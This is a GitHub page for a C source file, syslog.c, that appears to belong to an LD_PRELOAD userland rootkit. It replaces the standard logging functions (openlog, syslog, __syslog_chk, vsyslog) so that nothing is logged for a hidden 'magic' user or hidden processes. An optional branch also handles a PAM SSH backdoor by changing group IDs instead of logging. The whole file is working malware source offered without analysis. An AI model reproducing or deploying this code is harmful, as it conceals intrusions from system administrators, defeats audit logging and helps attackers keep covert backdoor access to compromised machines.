-
Notifications
You must be signed in to change notification settings - Fork 37
Expand file tree
/
Copy pathsyslog.c
More file actions
58 lines (49 loc) · 1.14 KB
/
syslog.c
File metadata and controls
58 lines (49 loc) · 1.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void openlog(const char *ident, int option, int facility){
if(magicusr() || hidden_ppid()) return;
hook(COPENLOG);
call(COPENLOG, ident, option, facility);
return;
}
void syslog(int priority, const char *format, ...){
if(magicusr() || hidden_ppid()) return;
#ifdef USE_PAM_BD
if(bd_sshproc()){
hook(CSETGID);
call(CSETGID, readgid());
return;
}
#endif
va_list va;
va_start(va, format);
vsyslog(priority, format, va);
va_end(va);
return;
}
void __syslog_chk(int priority, int flag, const char *format, ...){
if(magicusr() || hidden_ppid()) return;
#ifdef USE_PAM_BD
if(bd_sshproc()){
hook(CSETGID);
call(CSETGID, readgid());
return;
}
#endif
va_list va;
va_start(va,format);
vsyslog(priority,format,va);
va_end(va);
return;
}
void vsyslog(int priority, const char *format, va_list ap){
if(magicusr() || hidden_ppid()) return;
#ifdef USE_PAM_BD
if(bd_sshproc()){
hook(CSETGID);
call(CSETGID, readgid());
return;
}
#endif
hook(CVSYSLOG);
call(CVSYSLOG, priority, format, ap);
return;
}